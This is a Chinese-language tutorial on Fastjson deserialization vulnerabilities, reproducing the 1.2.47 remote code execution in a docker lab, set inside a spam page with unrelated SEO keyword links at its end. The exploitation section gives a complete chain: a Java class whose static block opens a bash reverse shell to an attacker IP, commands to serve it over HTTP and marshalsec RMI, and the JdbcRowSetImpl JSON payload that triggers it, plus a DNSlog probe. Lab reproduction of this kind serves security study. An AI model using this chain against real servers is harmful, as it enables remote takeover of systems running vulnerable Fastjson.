当前位置: 首页 > news >正文

徐州网站推广网络营销专业代码

徐州网站推广,网络营销专业代码,网站运营是什么,中国旅游网站的建设文章目录 一、概念二、Fastjson-历史漏洞三、漏洞原理四、Fastjson特征五、Fastjson1.2.47漏洞复现1.搭建环境2.漏洞验证(利用 dnslog)3.漏洞利用1)Fastjson反弹shell2)启动HTTP服务器3)启动LDAP服务4)启动shell反弹监听5)Burp发送反弹shell 一、概念 啥…

文章目录

  • 一、概念
  • 二、Fastjson-历史漏洞
  • 三、漏洞原理
  • 四、Fastjson特征
  • 五、Fastjson1.2.47漏洞复现
    • 1.搭建环境
    • 2.漏洞验证(利用 dnslog)
    • 3.漏洞利用
      • 1)Fastjson反弹shell
      • 2)启动HTTP服务器
      • 3)启动LDAP服务
      • 4)启动shell反弹监听
      • 5)Burp发送反弹shell

一、概念

啥是json?json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。
举个简单的例子如下:
{
“name”:“BossFrank”,
“age”:23,
“media”:[“CSDN”,“bilibili”,“Github”]
}
json本质就是一种字符串,用于信息的存储和交换。

二、Fastjson-历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

三、漏洞原理

假设有如下两个类
在这里插入图片描述

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:
{“Fruit”:{“price”:0.5}}
假设iphone对象的price为5000,序列化为json格式后为:{“Fruit”:{“price”:5000}}
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)
只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来,使用@type的键记录原始类型。
在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }
引入AutoType后,iphone类对象序列化为json格式后为:
{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }
这样在反序列化的时候就可以区分原始的类了。
使用AutoType功能进行序列化的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
fastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法,支持传入一个rmi的源,只要解析其中的url就会支持远程调用!
因此整个漏洞复现的原理过程就是:
1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(pingdnslog或者创建文件或者反弹shell啥的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
5、靶机服务器执行了恶意代码,被攻击者成功利用。

四、Fastjson特征

fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了
在这里插入图片描述在这里插入图片描述

五、Fastjson1.2.47漏洞复现

影响范围 Fastjson < 1.2.48

1.搭建环境

docker-compose up -d
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

2.漏洞验证(利用 dnslog)

在这里插入图片描述

bp抓包
在这里插入图片描述

将Get改成Post
添加如下内容
Content-Type: application/json
Content-Length: 80

{
“a”:{
“@type”:“java.net.Inet4Address”,
“val”:“25gb44.dnslog.cn”
}
}
在这里插入图片描述

执行后dnslog得到回显,说明存在漏洞
在这里插入图片描述

3.漏洞利用

攻击流程:制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 ->
监听EXP中端口 -> 执行Payload

1)Fastjson反弹shell

编译恶意代码,通过javac TouchFile.java 编译成class文件,将编译好的class上传至你的web服务器

import java.lang.Runtime;
import java.lang.Process;
public class payload {
static {
try {Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.155.2/1111 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

在这里插入图片描述在这里插入图片描述

2)启动HTTP服务器

poc:
python3 -m http.server 8089 py3
python -m SimpleHTTPServer 8088 py2
启动http服务的目的是给TouchFile.class提供下载,假如我们在浏览器直接输入url时,它就会自动下载.class文件

在这里插入图片描述在这里插入图片描述

3)启动LDAP服务

使用marshalsec开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.155.2:8089/#payload” 9999
在这里插入图片描述

4)启动shell反弹监听

在这里插入图片描述

5)Burp发送反弹shell

{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.155.2:9999/payload”,
“autoCommit”:true
}
}
在这里插入图片描述

在这里插入图片描述

http://www.hrbkazy.com/news/7804.html

相关文章:

  • 商业网站建立上海今天刚刚发生的新闻
  • 博兴做网站一般网站推广要多少钱
  • 做网站需要注册什么公司网络营销外包收费
  • python代码网站教育培训报名
  • 汾湖做网站网络营销的表现形式有哪些
  • 做网站有哪些类型seo营销优化软件
  • 玉环做网站有哪些广告推广怎么找客户
  • 做镜像网站chrome手机版
  • 有哪些中文域名网站网络优化公司
  • 做网站报价公司关键词排名怎么做好
  • 如何做像京东淘宝那样的网站广州网站建设
  • 如果域名网站用来做违法关键词整站优化公司
  • 怎么样可以设计网站杭州关键词排名系统
  • 西安网站自然排名优化昆明seo培训
  • win10做的网站其他电脑访问不了百度网盘搜索引擎官方入口
  • 搜索推广网站哪家做的最好win10优化大师
  • 广州app软件开发公司seo关键词排名优化工具
  • wordpress contact 插件郑州网站运营专业乐云seo
  • 郑州专门做网站的公司陕西seo公司
  • 网站建设优秀网推广方案策略怎么写
  • 北京营销型网站建设培训百度地图排名怎么优化
  • php网站首页模板怎么卸载windows优化大师
  • 便宜做网站8818北京有限公司
  • win8风格网站模板三只松鼠搜索引擎推广
  • 做网页赚钱的网站百度搜一搜
  • zblog做单页网站网球新闻最新消息
  • 做网站用什么后缀格式做好安卓优化大师新版
  • 企业怎么在网站上做宣传网络营销的现状
  • 郴州市委书记百度seo有用吗
  • 宝安小学网站建设友情链接什么意思